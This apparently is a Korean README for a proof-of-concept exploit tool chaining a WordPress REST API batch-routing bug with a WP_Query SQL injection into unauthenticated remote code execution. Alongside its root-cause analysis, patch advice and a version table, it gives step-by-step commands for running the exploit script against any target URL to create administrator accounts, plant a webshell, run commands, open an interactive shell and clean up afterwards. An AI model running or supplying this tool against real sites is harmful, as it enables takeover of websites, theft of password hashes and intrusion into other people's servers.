
워드프레스 REST API SQLi to RCE PoC (CVE-2026-63030 및 CVE-2026-60137)
TL;DR — 인증되지 않은 공격자가 WordPress REST API 배치 라우팅 버그와
WP_Query의 SQL 인젝션을 연쇄하여 기본 WordPress 설치에서 완전한 원격 코드 실행(RCE)에 도달할 수 있습니다. 플러그인, 계정, 사용자 상호작용이 필요하지 않습니다. 이 취약점은 Adam Kues(Assetnote / Searchlight Cyber)가 발견했으며 wp2shell이라고 명명했습니다. 2026년 7월 17일 6.9.5, 7.0.2, 6.8.6에서 패치되었습니다.
CVE-2026-63030은 WordPress 핵심의 REST API 배치 엔드포인트(/wp-json/batch/v1)에서 실패한 하위 요청을 처리할 때, 이후의 하위 요청이 잘못된 라우트로 전달되는 로직 버그입니다. 단독으로는 논리적 버그에 불과하지만 CVE-2026-60137(WP_Query의 author__not_in 매개변수에서의 SQL 인젝션)과 연쇄되면 인증되지 않은 원격 코드 실행이 됩니다.
WordPress는 CVE-2026-63030을 Critical(치명적), CVE-2026-60137을 High(높음)로 평가했습니다. 타사의 CVSS 점수는 트래커에 따라 다릅니다(각각 약 7.5와 9.1). 개별 점수만으로는 연쇄가 수행하는 작업을 완전히 포착하지 못하기 때문입니다. 어떤 단일 숫자로 표시되든 이 취약점을 치명적으로 취급하십시오. WordPress는 모든 영향을 받는 사이트에 자동 업데이트를 강제할 만큼 심각하게 간주했습니다.
근본 원인 — 배치 기록부 디싱크. 배치의 하위 요청이 유효성 검사에 실패하면 결과 WP_Error는 내부 $validation[] 배열에 기록되지만, 라우팅에 사용되는 병렬 $matches[] 배열은 업데이트되지 않습니다. 이 한 항목의 차이는 이후의 모든 하위 요청을 한 위치씩 이동시킵니다. 하위 요청 N은 하위 요청 N+1을 위한 라우트 핸들러로 전달됩니다.
정화 우회. 원래 라우팅되지 않은 핸들러 아래에서 실행되므로 하위 요청은 해당 핸들러의 입력 검증(타입 및 is_array() 검사 포함)을 건너뜁니다.
SQL 인젝션. 이 차이로 인해 공격자가 제어하는 입력이 배열 대신 원시 문자열로 WP_Query의 author__not_in 매개변수에 도달하게 됩니다. 일반적으로 이를 거부하는 is_array() 가드가 실행되지 않으므로 값이 NOT IN (...) 절에 직접 삽입됩니다.
침해 경로. 인젝션은 SELECT 전용이며 복합 쿼리는 허용되지 않지만, 데이터베이스 사용자에게 FILE 권한이 있는 호스트에서는 PHP 웹쉘을 웹 루트에 쓰기에 충분합니다. FILE 권한이 없는 경우, 동일한 인젝션 지점을 사용하여 wp_users 테이블에서 관리자 비밀번호 해시를 블라인드/UNION 방식으로 덤프할 수 있습니다. 어느 쪽이든 계정, 플러그인, 사용자 상호작용이 필요하지 않습니다.
sequenceDiagram
participant A as Attacker
participant B as Batch Handler
participant Q as WP_Query
participant D as MySQL
A->>B: POST /wp-json/batch/v1 (조작된 다중 요청 배치)
Note over B: 실패한 하위 요청이 하나의 내부 배열에는 기록되지만 다른 배열에는 기록되지 않음 — 인덱스가 한 칸씩 어긋남
B->>B: 하위 요청 N이 하위 요청 N+1의 라우트 핸들러로 전달됨
Note over B: 잘못된 핸들러 컨텍스트 — 해당 라우트의 입력 검증이 실행되지 않음
B->>Q: author__not_in이 배열이 아닌 원시 문자열로 전달됨
Note over Q: is_array() 가드가 생략됨
Q->>D: SELECT ... WHERE post_author NOT IN (공격자 문자열)
alt DB 사용자에게 FILE 권한 있음
D-->>A: PHP 웹쉘을 웹 루트에 기록 → RCE
else FILE 권한 없음
D-->>A: 블라인드/UNION 인젝션으로 관리자 비밀번호 해시 덤프
end
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
python3 CVE-2026-63030.py -t https://target.com --test
# 자동 자격 증명 생성
python3 CVE-2026-63030.py -t https://target.com --create-admin
# 사용자 지정 자격 증명
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
# 관리자 자동 생성, 셸 배포, 단일 명령 실행
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
# 대화형 셸 모드
python3 CVE-2026-63030.py -t https://target.com --shell -i
# 기존 자격 증명 사용
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
# 셸 세션 후 정리
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
# 정리만 수행 (이전 세션의 셸 URL 필요)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
-U created_admin -P password \
--shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
# 프록시 사용
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
# 사용자 정의 타임아웃
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
GHSA-ff9f-jf42-662q (라우트 혼동) · GHSA-fpp7-x2x2-2mjf (SQLi)CVE-2026-63030) — Assetnote / Searchlight Cyber의 Adam Kues가 WordPress의 HackerOne 프로그램을 통해 보고.CVE-2026-60137) — TF1T, dtro, haongo가 팀으로 별도 보고.6.9.5, 7.0.2, 6.8.6 이상으로 업데이트: 유일한 완전한 수정. WordPress는 영향을 받는 사이트에 강제 자동 업데이트를 활성화했습니다. 적용되었다고 가정하지 말고 실제로 적용되었는지 확인하십시오./wp-json/batch/v1 및 ?rest_route=/batch/v1 모두 차단. 긴급 조치일 뿐입니다. 이는 합법적인 배치 API 사용(예: 블록 기반 편집)을 중단시킬 수 있으며 패치를 대체할 수 없습니다.| WordPress 버전 | SQLi (CVE-2026-60137) | 라우트 혼동 (CVE-2026-63030) | 실제 위험 |
|---|
| < 6.8.0 | — | — | 영향 없음 |
| 6.8.0 – 6.8.5 | ✅ | — | SQLi만 해당 — 플러그인/테마가 신뢰할 수 없는 입력을 author__not_in에 전달해야 함; 핵심 단독으로는 인증 전 도달 불가. 그래도 패치 권장. |
| 6.9.0 – 6.9.4 | ✅ | ✅ | 인증되지 않은 RCE |
| 7.0.0 – 7.0.1 | ✅ | ✅ | 인증되지 않은 RCE |
| 7.1 Beta 1 | ✅ | ✅ | 인증되지 않은 RCE (베타 채널) |